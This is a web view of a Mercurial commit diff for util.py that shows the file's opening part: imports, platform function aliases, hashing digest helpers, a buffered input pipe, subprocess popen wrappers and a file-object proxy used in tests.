##// END OF EJS Templates
util: clear debugstacktrace call...
Boris Feld -
r36964:68ae7d76 default
parent child Browse files
Show More
@@ -1,4087 +1,4086 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import codecs
20 import codecs
21 import collections
21 import collections
22 import contextlib
22 import contextlib
23 import errno
23 import errno
24 import gc
24 import gc
25 import hashlib
25 import hashlib
26 import imp
26 import imp
27 import io
27 import io
28 import itertools
28 import itertools
29 import mmap
29 import mmap
30 import os
30 import os
31 import platform as pyplatform
31 import platform as pyplatform
32 import re as remod
32 import re as remod
33 import shutil
33 import shutil
34 import signal
34 import signal
35 import socket
35 import socket
36 import stat
36 import stat
37 import string
37 import string
38 import subprocess
38 import subprocess
39 import sys
39 import sys
40 import tempfile
40 import tempfile
41 import textwrap
41 import textwrap
42 import time
42 import time
43 import traceback
43 import traceback
44 import warnings
44 import warnings
45 import zlib
45 import zlib
46
46
47 from . import (
47 from . import (
48 encoding,
48 encoding,
49 error,
49 error,
50 i18n,
50 i18n,
51 node as nodemod,
51 node as nodemod,
52 policy,
52 policy,
53 pycompat,
53 pycompat,
54 urllibcompat,
54 urllibcompat,
55 )
55 )
56 from .utils import dateutil
56 from .utils import dateutil
57
57
58 base85 = policy.importmod(r'base85')
58 base85 = policy.importmod(r'base85')
59 osutil = policy.importmod(r'osutil')
59 osutil = policy.importmod(r'osutil')
60 parsers = policy.importmod(r'parsers')
60 parsers = policy.importmod(r'parsers')
61
61
62 b85decode = base85.b85decode
62 b85decode = base85.b85decode
63 b85encode = base85.b85encode
63 b85encode = base85.b85encode
64
64
65 cookielib = pycompat.cookielib
65 cookielib = pycompat.cookielib
66 empty = pycompat.empty
66 empty = pycompat.empty
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 queue = pycompat.queue
69 queue = pycompat.queue
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 stderr = pycompat.stderr
71 stderr = pycompat.stderr
72 stdin = pycompat.stdin
72 stdin = pycompat.stdin
73 stdout = pycompat.stdout
73 stdout = pycompat.stdout
74 stringio = pycompat.stringio
74 stringio = pycompat.stringio
75 xmlrpclib = pycompat.xmlrpclib
75 xmlrpclib = pycompat.xmlrpclib
76
76
77 httpserver = urllibcompat.httpserver
77 httpserver = urllibcompat.httpserver
78 urlerr = urllibcompat.urlerr
78 urlerr = urllibcompat.urlerr
79 urlreq = urllibcompat.urlreq
79 urlreq = urllibcompat.urlreq
80
80
81 # workaround for win32mbcs
81 # workaround for win32mbcs
82 _filenamebytestr = pycompat.bytestr
82 _filenamebytestr = pycompat.bytestr
83
83
84 def isatty(fp):
84 def isatty(fp):
85 try:
85 try:
86 return fp.isatty()
86 return fp.isatty()
87 except AttributeError:
87 except AttributeError:
88 return False
88 return False
89
89
90 # glibc determines buffering on first write to stdout - if we replace a TTY
90 # glibc determines buffering on first write to stdout - if we replace a TTY
91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
92 # buffering
92 # buffering
93 if isatty(stdout):
93 if isatty(stdout):
94 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
94 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
95
95
96 if pycompat.iswindows:
96 if pycompat.iswindows:
97 from . import windows as platform
97 from . import windows as platform
98 stdout = platform.winstdout(stdout)
98 stdout = platform.winstdout(stdout)
99 else:
99 else:
100 from . import posix as platform
100 from . import posix as platform
101
101
102 _ = i18n._
102 _ = i18n._
103
103
104 bindunixsocket = platform.bindunixsocket
104 bindunixsocket = platform.bindunixsocket
105 cachestat = platform.cachestat
105 cachestat = platform.cachestat
106 checkexec = platform.checkexec
106 checkexec = platform.checkexec
107 checklink = platform.checklink
107 checklink = platform.checklink
108 copymode = platform.copymode
108 copymode = platform.copymode
109 executablepath = platform.executablepath
109 executablepath = platform.executablepath
110 expandglobs = platform.expandglobs
110 expandglobs = platform.expandglobs
111 explainexit = platform.explainexit
111 explainexit = platform.explainexit
112 findexe = platform.findexe
112 findexe = platform.findexe
113 getfsmountpoint = platform.getfsmountpoint
113 getfsmountpoint = platform.getfsmountpoint
114 getfstype = platform.getfstype
114 getfstype = platform.getfstype
115 gethgcmd = platform.gethgcmd
115 gethgcmd = platform.gethgcmd
116 getuser = platform.getuser
116 getuser = platform.getuser
117 getpid = os.getpid
117 getpid = os.getpid
118 groupmembers = platform.groupmembers
118 groupmembers = platform.groupmembers
119 groupname = platform.groupname
119 groupname = platform.groupname
120 hidewindow = platform.hidewindow
120 hidewindow = platform.hidewindow
121 isexec = platform.isexec
121 isexec = platform.isexec
122 isowner = platform.isowner
122 isowner = platform.isowner
123 listdir = osutil.listdir
123 listdir = osutil.listdir
124 localpath = platform.localpath
124 localpath = platform.localpath
125 lookupreg = platform.lookupreg
125 lookupreg = platform.lookupreg
126 makedir = platform.makedir
126 makedir = platform.makedir
127 nlinks = platform.nlinks
127 nlinks = platform.nlinks
128 normpath = platform.normpath
128 normpath = platform.normpath
129 normcase = platform.normcase
129 normcase = platform.normcase
130 normcasespec = platform.normcasespec
130 normcasespec = platform.normcasespec
131 normcasefallback = platform.normcasefallback
131 normcasefallback = platform.normcasefallback
132 openhardlinks = platform.openhardlinks
132 openhardlinks = platform.openhardlinks
133 oslink = platform.oslink
133 oslink = platform.oslink
134 parsepatchoutput = platform.parsepatchoutput
134 parsepatchoutput = platform.parsepatchoutput
135 pconvert = platform.pconvert
135 pconvert = platform.pconvert
136 poll = platform.poll
136 poll = platform.poll
137 popen = platform.popen
137 popen = platform.popen
138 posixfile = platform.posixfile
138 posixfile = platform.posixfile
139 quotecommand = platform.quotecommand
139 quotecommand = platform.quotecommand
140 readpipe = platform.readpipe
140 readpipe = platform.readpipe
141 rename = platform.rename
141 rename = platform.rename
142 removedirs = platform.removedirs
142 removedirs = platform.removedirs
143 samedevice = platform.samedevice
143 samedevice = platform.samedevice
144 samefile = platform.samefile
144 samefile = platform.samefile
145 samestat = platform.samestat
145 samestat = platform.samestat
146 setbinary = platform.setbinary
146 setbinary = platform.setbinary
147 setflags = platform.setflags
147 setflags = platform.setflags
148 setsignalhandler = platform.setsignalhandler
148 setsignalhandler = platform.setsignalhandler
149 shellquote = platform.shellquote
149 shellquote = platform.shellquote
150 shellsplit = platform.shellsplit
150 shellsplit = platform.shellsplit
151 spawndetached = platform.spawndetached
151 spawndetached = platform.spawndetached
152 split = platform.split
152 split = platform.split
153 sshargs = platform.sshargs
153 sshargs = platform.sshargs
154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
155 statisexec = platform.statisexec
155 statisexec = platform.statisexec
156 statislink = platform.statislink
156 statislink = platform.statislink
157 testpid = platform.testpid
157 testpid = platform.testpid
158 umask = platform.umask
158 umask = platform.umask
159 unlink = platform.unlink
159 unlink = platform.unlink
160 username = platform.username
160 username = platform.username
161
161
162 try:
162 try:
163 recvfds = osutil.recvfds
163 recvfds = osutil.recvfds
164 except AttributeError:
164 except AttributeError:
165 pass
165 pass
166 try:
166 try:
167 setprocname = osutil.setprocname
167 setprocname = osutil.setprocname
168 except AttributeError:
168 except AttributeError:
169 pass
169 pass
170 try:
170 try:
171 unblocksignal = osutil.unblocksignal
171 unblocksignal = osutil.unblocksignal
172 except AttributeError:
172 except AttributeError:
173 pass
173 pass
174
174
175 # Python compatibility
175 # Python compatibility
176
176
177 _notset = object()
177 _notset = object()
178
178
179 def safehasattr(thing, attr):
179 def safehasattr(thing, attr):
180 return getattr(thing, attr, _notset) is not _notset
180 return getattr(thing, attr, _notset) is not _notset
181
181
182 def _rapply(f, xs):
182 def _rapply(f, xs):
183 if xs is None:
183 if xs is None:
184 # assume None means non-value of optional data
184 # assume None means non-value of optional data
185 return xs
185 return xs
186 if isinstance(xs, (list, set, tuple)):
186 if isinstance(xs, (list, set, tuple)):
187 return type(xs)(_rapply(f, x) for x in xs)
187 return type(xs)(_rapply(f, x) for x in xs)
188 if isinstance(xs, dict):
188 if isinstance(xs, dict):
189 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
189 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
190 return f(xs)
190 return f(xs)
191
191
192 def rapply(f, xs):
192 def rapply(f, xs):
193 """Apply function recursively to every item preserving the data structure
193 """Apply function recursively to every item preserving the data structure
194
194
195 >>> def f(x):
195 >>> def f(x):
196 ... return 'f(%s)' % x
196 ... return 'f(%s)' % x
197 >>> rapply(f, None) is None
197 >>> rapply(f, None) is None
198 True
198 True
199 >>> rapply(f, 'a')
199 >>> rapply(f, 'a')
200 'f(a)'
200 'f(a)'
201 >>> rapply(f, {'a'}) == {'f(a)'}
201 >>> rapply(f, {'a'}) == {'f(a)'}
202 True
202 True
203 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
203 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
204 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
204 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
205
205
206 >>> xs = [object()]
206 >>> xs = [object()]
207 >>> rapply(pycompat.identity, xs) is xs
207 >>> rapply(pycompat.identity, xs) is xs
208 True
208 True
209 """
209 """
210 if f is pycompat.identity:
210 if f is pycompat.identity:
211 # fast path mainly for py2
211 # fast path mainly for py2
212 return xs
212 return xs
213 return _rapply(f, xs)
213 return _rapply(f, xs)
214
214
215 def bitsfrom(container):
215 def bitsfrom(container):
216 bits = 0
216 bits = 0
217 for bit in container:
217 for bit in container:
218 bits |= bit
218 bits |= bit
219 return bits
219 return bits
220
220
221 # python 2.6 still have deprecation warning enabled by default. We do not want
221 # python 2.6 still have deprecation warning enabled by default. We do not want
222 # to display anything to standard user so detect if we are running test and
222 # to display anything to standard user so detect if we are running test and
223 # only use python deprecation warning in this case.
223 # only use python deprecation warning in this case.
224 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
224 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
225 if _dowarn:
225 if _dowarn:
226 # explicitly unfilter our warning for python 2.7
226 # explicitly unfilter our warning for python 2.7
227 #
227 #
228 # The option of setting PYTHONWARNINGS in the test runner was investigated.
228 # The option of setting PYTHONWARNINGS in the test runner was investigated.
229 # However, module name set through PYTHONWARNINGS was exactly matched, so
229 # However, module name set through PYTHONWARNINGS was exactly matched, so
230 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
230 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
231 # makes the whole PYTHONWARNINGS thing useless for our usecase.
231 # makes the whole PYTHONWARNINGS thing useless for our usecase.
232 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
232 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
234 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
234 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
235 if _dowarn and pycompat.ispy3:
235 if _dowarn and pycompat.ispy3:
236 # silence warning emitted by passing user string to re.sub()
236 # silence warning emitted by passing user string to re.sub()
237 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
237 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
238 r'mercurial')
238 r'mercurial')
239 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
239 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
240 DeprecationWarning, r'mercurial')
240 DeprecationWarning, r'mercurial')
241
241
242 def nouideprecwarn(msg, version, stacklevel=1):
242 def nouideprecwarn(msg, version, stacklevel=1):
243 """Issue an python native deprecation warning
243 """Issue an python native deprecation warning
244
244
245 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
245 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
246 """
246 """
247 if _dowarn:
247 if _dowarn:
248 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
248 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
249 " update your code.)") % version
249 " update your code.)") % version
250 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
250 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
251
251
252 DIGESTS = {
252 DIGESTS = {
253 'md5': hashlib.md5,
253 'md5': hashlib.md5,
254 'sha1': hashlib.sha1,
254 'sha1': hashlib.sha1,
255 'sha512': hashlib.sha512,
255 'sha512': hashlib.sha512,
256 }
256 }
257 # List of digest types from strongest to weakest
257 # List of digest types from strongest to weakest
258 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
258 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
259
259
260 for k in DIGESTS_BY_STRENGTH:
260 for k in DIGESTS_BY_STRENGTH:
261 assert k in DIGESTS
261 assert k in DIGESTS
262
262
263 class digester(object):
263 class digester(object):
264 """helper to compute digests.
264 """helper to compute digests.
265
265
266 This helper can be used to compute one or more digests given their name.
266 This helper can be used to compute one or more digests given their name.
267
267
268 >>> d = digester([b'md5', b'sha1'])
268 >>> d = digester([b'md5', b'sha1'])
269 >>> d.update(b'foo')
269 >>> d.update(b'foo')
270 >>> [k for k in sorted(d)]
270 >>> [k for k in sorted(d)]
271 ['md5', 'sha1']
271 ['md5', 'sha1']
272 >>> d[b'md5']
272 >>> d[b'md5']
273 'acbd18db4cc2f85cedef654fccc4a4d8'
273 'acbd18db4cc2f85cedef654fccc4a4d8'
274 >>> d[b'sha1']
274 >>> d[b'sha1']
275 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
275 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
276 >>> digester.preferred([b'md5', b'sha1'])
276 >>> digester.preferred([b'md5', b'sha1'])
277 'sha1'
277 'sha1'
278 """
278 """
279
279
280 def __init__(self, digests, s=''):
280 def __init__(self, digests, s=''):
281 self._hashes = {}
281 self._hashes = {}
282 for k in digests:
282 for k in digests:
283 if k not in DIGESTS:
283 if k not in DIGESTS:
284 raise Abort(_('unknown digest type: %s') % k)
284 raise Abort(_('unknown digest type: %s') % k)
285 self._hashes[k] = DIGESTS[k]()
285 self._hashes[k] = DIGESTS[k]()
286 if s:
286 if s:
287 self.update(s)
287 self.update(s)
288
288
289 def update(self, data):
289 def update(self, data):
290 for h in self._hashes.values():
290 for h in self._hashes.values():
291 h.update(data)
291 h.update(data)
292
292
293 def __getitem__(self, key):
293 def __getitem__(self, key):
294 if key not in DIGESTS:
294 if key not in DIGESTS:
295 raise Abort(_('unknown digest type: %s') % k)
295 raise Abort(_('unknown digest type: %s') % k)
296 return nodemod.hex(self._hashes[key].digest())
296 return nodemod.hex(self._hashes[key].digest())
297
297
298 def __iter__(self):
298 def __iter__(self):
299 return iter(self._hashes)
299 return iter(self._hashes)
300
300
301 @staticmethod
301 @staticmethod
302 def preferred(supported):
302 def preferred(supported):
303 """returns the strongest digest type in both supported and DIGESTS."""
303 """returns the strongest digest type in both supported and DIGESTS."""
304
304
305 for k in DIGESTS_BY_STRENGTH:
305 for k in DIGESTS_BY_STRENGTH:
306 if k in supported:
306 if k in supported:
307 return k
307 return k
308 return None
308 return None
309
309
310 class digestchecker(object):
310 class digestchecker(object):
311 """file handle wrapper that additionally checks content against a given
311 """file handle wrapper that additionally checks content against a given
312 size and digests.
312 size and digests.
313
313
314 d = digestchecker(fh, size, {'md5': '...'})
314 d = digestchecker(fh, size, {'md5': '...'})
315
315
316 When multiple digests are given, all of them are validated.
316 When multiple digests are given, all of them are validated.
317 """
317 """
318
318
319 def __init__(self, fh, size, digests):
319 def __init__(self, fh, size, digests):
320 self._fh = fh
320 self._fh = fh
321 self._size = size
321 self._size = size
322 self._got = 0
322 self._got = 0
323 self._digests = dict(digests)
323 self._digests = dict(digests)
324 self._digester = digester(self._digests.keys())
324 self._digester = digester(self._digests.keys())
325
325
326 def read(self, length=-1):
326 def read(self, length=-1):
327 content = self._fh.read(length)
327 content = self._fh.read(length)
328 self._digester.update(content)
328 self._digester.update(content)
329 self._got += len(content)
329 self._got += len(content)
330 return content
330 return content
331
331
332 def validate(self):
332 def validate(self):
333 if self._size != self._got:
333 if self._size != self._got:
334 raise Abort(_('size mismatch: expected %d, got %d') %
334 raise Abort(_('size mismatch: expected %d, got %d') %
335 (self._size, self._got))
335 (self._size, self._got))
336 for k, v in self._digests.items():
336 for k, v in self._digests.items():
337 if v != self._digester[k]:
337 if v != self._digester[k]:
338 # i18n: first parameter is a digest name
338 # i18n: first parameter is a digest name
339 raise Abort(_('%s mismatch: expected %s, got %s') %
339 raise Abort(_('%s mismatch: expected %s, got %s') %
340 (k, v, self._digester[k]))
340 (k, v, self._digester[k]))
341
341
342 try:
342 try:
343 buffer = buffer
343 buffer = buffer
344 except NameError:
344 except NameError:
345 def buffer(sliceable, offset=0, length=None):
345 def buffer(sliceable, offset=0, length=None):
346 if length is not None:
346 if length is not None:
347 return memoryview(sliceable)[offset:offset + length]
347 return memoryview(sliceable)[offset:offset + length]
348 return memoryview(sliceable)[offset:]
348 return memoryview(sliceable)[offset:]
349
349
350 closefds = pycompat.isposix
350 closefds = pycompat.isposix
351
351
352 _chunksize = 4096
352 _chunksize = 4096
353
353
354 class bufferedinputpipe(object):
354 class bufferedinputpipe(object):
355 """a manually buffered input pipe
355 """a manually buffered input pipe
356
356
357 Python will not let us use buffered IO and lazy reading with 'polling' at
357 Python will not let us use buffered IO and lazy reading with 'polling' at
358 the same time. We cannot probe the buffer state and select will not detect
358 the same time. We cannot probe the buffer state and select will not detect
359 that data are ready to read if they are already buffered.
359 that data are ready to read if they are already buffered.
360
360
361 This class let us work around that by implementing its own buffering
361 This class let us work around that by implementing its own buffering
362 (allowing efficient readline) while offering a way to know if the buffer is
362 (allowing efficient readline) while offering a way to know if the buffer is
363 empty from the output (allowing collaboration of the buffer with polling).
363 empty from the output (allowing collaboration of the buffer with polling).
364
364
365 This class lives in the 'util' module because it makes use of the 'os'
365 This class lives in the 'util' module because it makes use of the 'os'
366 module from the python stdlib.
366 module from the python stdlib.
367 """
367 """
368 def __new__(cls, fh):
368 def __new__(cls, fh):
369 # If we receive a fileobjectproxy, we need to use a variation of this
369 # If we receive a fileobjectproxy, we need to use a variation of this
370 # class that notifies observers about activity.
370 # class that notifies observers about activity.
371 if isinstance(fh, fileobjectproxy):
371 if isinstance(fh, fileobjectproxy):
372 cls = observedbufferedinputpipe
372 cls = observedbufferedinputpipe
373
373
374 return super(bufferedinputpipe, cls).__new__(cls)
374 return super(bufferedinputpipe, cls).__new__(cls)
375
375
376 def __init__(self, input):
376 def __init__(self, input):
377 self._input = input
377 self._input = input
378 self._buffer = []
378 self._buffer = []
379 self._eof = False
379 self._eof = False
380 self._lenbuf = 0
380 self._lenbuf = 0
381
381
382 @property
382 @property
383 def hasbuffer(self):
383 def hasbuffer(self):
384 """True is any data is currently buffered
384 """True is any data is currently buffered
385
385
386 This will be used externally a pre-step for polling IO. If there is
386 This will be used externally a pre-step for polling IO. If there is
387 already data then no polling should be set in place."""
387 already data then no polling should be set in place."""
388 return bool(self._buffer)
388 return bool(self._buffer)
389
389
390 @property
390 @property
391 def closed(self):
391 def closed(self):
392 return self._input.closed
392 return self._input.closed
393
393
394 def fileno(self):
394 def fileno(self):
395 return self._input.fileno()
395 return self._input.fileno()
396
396
397 def close(self):
397 def close(self):
398 return self._input.close()
398 return self._input.close()
399
399
400 def read(self, size):
400 def read(self, size):
401 while (not self._eof) and (self._lenbuf < size):
401 while (not self._eof) and (self._lenbuf < size):
402 self._fillbuffer()
402 self._fillbuffer()
403 return self._frombuffer(size)
403 return self._frombuffer(size)
404
404
405 def readline(self, *args, **kwargs):
405 def readline(self, *args, **kwargs):
406 if 1 < len(self._buffer):
406 if 1 < len(self._buffer):
407 # this should not happen because both read and readline end with a
407 # this should not happen because both read and readline end with a
408 # _frombuffer call that collapse it.
408 # _frombuffer call that collapse it.
409 self._buffer = [''.join(self._buffer)]
409 self._buffer = [''.join(self._buffer)]
410 self._lenbuf = len(self._buffer[0])
410 self._lenbuf = len(self._buffer[0])
411 lfi = -1
411 lfi = -1
412 if self._buffer:
412 if self._buffer:
413 lfi = self._buffer[-1].find('\n')
413 lfi = self._buffer[-1].find('\n')
414 while (not self._eof) and lfi < 0:
414 while (not self._eof) and lfi < 0:
415 self._fillbuffer()
415 self._fillbuffer()
416 if self._buffer:
416 if self._buffer:
417 lfi = self._buffer[-1].find('\n')
417 lfi = self._buffer[-1].find('\n')
418 size = lfi + 1
418 size = lfi + 1
419 if lfi < 0: # end of file
419 if lfi < 0: # end of file
420 size = self._lenbuf
420 size = self._lenbuf
421 elif 1 < len(self._buffer):
421 elif 1 < len(self._buffer):
422 # we need to take previous chunks into account
422 # we need to take previous chunks into account
423 size += self._lenbuf - len(self._buffer[-1])
423 size += self._lenbuf - len(self._buffer[-1])
424 return self._frombuffer(size)
424 return self._frombuffer(size)
425
425
426 def _frombuffer(self, size):
426 def _frombuffer(self, size):
427 """return at most 'size' data from the buffer
427 """return at most 'size' data from the buffer
428
428
429 The data are removed from the buffer."""
429 The data are removed from the buffer."""
430 if size == 0 or not self._buffer:
430 if size == 0 or not self._buffer:
431 return ''
431 return ''
432 buf = self._buffer[0]
432 buf = self._buffer[0]
433 if 1 < len(self._buffer):
433 if 1 < len(self._buffer):
434 buf = ''.join(self._buffer)
434 buf = ''.join(self._buffer)
435
435
436 data = buf[:size]
436 data = buf[:size]
437 buf = buf[len(data):]
437 buf = buf[len(data):]
438 if buf:
438 if buf:
439 self._buffer = [buf]
439 self._buffer = [buf]
440 self._lenbuf = len(buf)
440 self._lenbuf = len(buf)
441 else:
441 else:
442 self._buffer = []
442 self._buffer = []
443 self._lenbuf = 0
443 self._lenbuf = 0
444 return data
444 return data
445
445
446 def _fillbuffer(self):
446 def _fillbuffer(self):
447 """read data to the buffer"""
447 """read data to the buffer"""
448 data = os.read(self._input.fileno(), _chunksize)
448 data = os.read(self._input.fileno(), _chunksize)
449 if not data:
449 if not data:
450 self._eof = True
450 self._eof = True
451 else:
451 else:
452 self._lenbuf += len(data)
452 self._lenbuf += len(data)
453 self._buffer.append(data)
453 self._buffer.append(data)
454
454
455 return data
455 return data
456
456
457 def mmapread(fp):
457 def mmapread(fp):
458 try:
458 try:
459 fd = getattr(fp, 'fileno', lambda: fp)()
459 fd = getattr(fp, 'fileno', lambda: fp)()
460 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
460 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
461 except ValueError:
461 except ValueError:
462 # Empty files cannot be mmapped, but mmapread should still work. Check
462 # Empty files cannot be mmapped, but mmapread should still work. Check
463 # if the file is empty, and if so, return an empty buffer.
463 # if the file is empty, and if so, return an empty buffer.
464 if os.fstat(fd).st_size == 0:
464 if os.fstat(fd).st_size == 0:
465 return ''
465 return ''
466 raise
466 raise
467
467
468 def popen2(cmd, env=None, newlines=False):
468 def popen2(cmd, env=None, newlines=False):
469 # Setting bufsize to -1 lets the system decide the buffer size.
469 # Setting bufsize to -1 lets the system decide the buffer size.
470 # The default for bufsize is 0, meaning unbuffered. This leads to
470 # The default for bufsize is 0, meaning unbuffered. This leads to
471 # poor performance on Mac OS X: http://bugs.python.org/issue4194
471 # poor performance on Mac OS X: http://bugs.python.org/issue4194
472 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
472 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
473 close_fds=closefds,
473 close_fds=closefds,
474 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
474 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
475 universal_newlines=newlines,
475 universal_newlines=newlines,
476 env=env)
476 env=env)
477 return p.stdin, p.stdout
477 return p.stdin, p.stdout
478
478
479 def popen3(cmd, env=None, newlines=False):
479 def popen3(cmd, env=None, newlines=False):
480 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
480 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
481 return stdin, stdout, stderr
481 return stdin, stdout, stderr
482
482
483 def popen4(cmd, env=None, newlines=False, bufsize=-1):
483 def popen4(cmd, env=None, newlines=False, bufsize=-1):
484 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
484 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
485 close_fds=closefds,
485 close_fds=closefds,
486 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
486 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
487 stderr=subprocess.PIPE,
487 stderr=subprocess.PIPE,
488 universal_newlines=newlines,
488 universal_newlines=newlines,
489 env=env)
489 env=env)
490 return p.stdin, p.stdout, p.stderr, p
490 return p.stdin, p.stdout, p.stderr, p
491
491
492 class fileobjectproxy(object):
492 class fileobjectproxy(object):
493 """A proxy around file objects that tells a watcher when events occur.
493 """A proxy around file objects that tells a watcher when events occur.
494
494
495 This type is intended to only be used for testing purposes. Think hard
495 This type is intended to only be used for testing purposes. Think hard
496 before using it in important code.
496 before using it in important code.
497 """
497 """
498 __slots__ = (
498 __slots__ = (
499 r'_orig',
499 r'_orig',
500 r'_observer',
500 r'_observer',
501 )
501 )
502
502
503 def __init__(self, fh, observer):
503 def __init__(self, fh, observer):
504 object.__setattr__(self, r'_orig', fh)
504 object.__setattr__(self, r'_orig', fh)
505 object.__setattr__(self, r'_observer', observer)
505 object.__setattr__(self, r'_observer', observer)
506
506
507 def __getattribute__(self, name):
507 def __getattribute__(self, name):
508 ours = {
508 ours = {
509 r'_observer',
509 r'_observer',
510
510
511 # IOBase
511 # IOBase
512 r'close',
512 r'close',
513 # closed if a property
513 # closed if a property
514 r'fileno',
514 r'fileno',
515 r'flush',
515 r'flush',
516 r'isatty',
516 r'isatty',
517 r'readable',
517 r'readable',
518 r'readline',
518 r'readline',
519 r'readlines',
519 r'readlines',
520 r'seek',
520 r'seek',
521 r'seekable',
521 r'seekable',
522 r'tell',
522 r'tell',
523 r'truncate',
523 r'truncate',
524 r'writable',
524 r'writable',
525 r'writelines',
525 r'writelines',
526 # RawIOBase
526 # RawIOBase
527 r'read',
527 r'read',
528 r'readall',
528 r'readall',
529 r'readinto',
529 r'readinto',
530 r'write',
530 r'write',
531 # BufferedIOBase
531 # BufferedIOBase
532 # raw is a property
532 # raw is a property
533 r'detach',
533 r'detach',
534 # read defined above
534 # read defined above
535 r'read1',
535 r'read1',
536 # readinto defined above
536 # readinto defined above
537 # write defined above
537 # write defined above
538 }
538 }
539
539
540 # We only observe some methods.
540 # We only observe some methods.
541 if name in ours:
541 if name in ours:
542 return object.__getattribute__(self, name)
542 return object.__getattribute__(self, name)
543
543
544 return getattr(object.__getattribute__(self, r'_orig'), name)
544 return getattr(object.__getattribute__(self, r'_orig'), name)
545
545
546 def __nonzero__(self):
546 def __nonzero__(self):
547 return bool(object.__getattribute__(self, r'_orig'))
547 return bool(object.__getattribute__(self, r'_orig'))
548
548
549 __bool__ = __nonzero__
549 __bool__ = __nonzero__
550
550
551 def __delattr__(self, name):
551 def __delattr__(self, name):
552 return delattr(object.__getattribute__(self, r'_orig'), name)
552 return delattr(object.__getattribute__(self, r'_orig'), name)
553
553
554 def __setattr__(self, name, value):
554 def __setattr__(self, name, value):
555 return setattr(object.__getattribute__(self, r'_orig'), name, value)
555 return setattr(object.__getattribute__(self, r'_orig'), name, value)
556
556
557 def __iter__(self):
557 def __iter__(self):
558 return object.__getattribute__(self, r'_orig').__iter__()
558 return object.__getattribute__(self, r'_orig').__iter__()
559
559
560 def _observedcall(self, name, *args, **kwargs):
560 def _observedcall(self, name, *args, **kwargs):
561 # Call the original object.
561 # Call the original object.
562 orig = object.__getattribute__(self, r'_orig')
562 orig = object.__getattribute__(self, r'_orig')
563 res = getattr(orig, name)(*args, **kwargs)
563 res = getattr(orig, name)(*args, **kwargs)
564
564
565 # Call a method on the observer of the same name with arguments
565 # Call a method on the observer of the same name with arguments
566 # so it can react, log, etc.
566 # so it can react, log, etc.
567 observer = object.__getattribute__(self, r'_observer')
567 observer = object.__getattribute__(self, r'_observer')
568 fn = getattr(observer, name, None)
568 fn = getattr(observer, name, None)
569 if fn:
569 if fn:
570 fn(res, *args, **kwargs)
570 fn(res, *args, **kwargs)
571
571
572 return res
572 return res
573
573
574 def close(self, *args, **kwargs):
574 def close(self, *args, **kwargs):
575 return object.__getattribute__(self, r'_observedcall')(
575 return object.__getattribute__(self, r'_observedcall')(
576 r'close', *args, **kwargs)
576 r'close', *args, **kwargs)
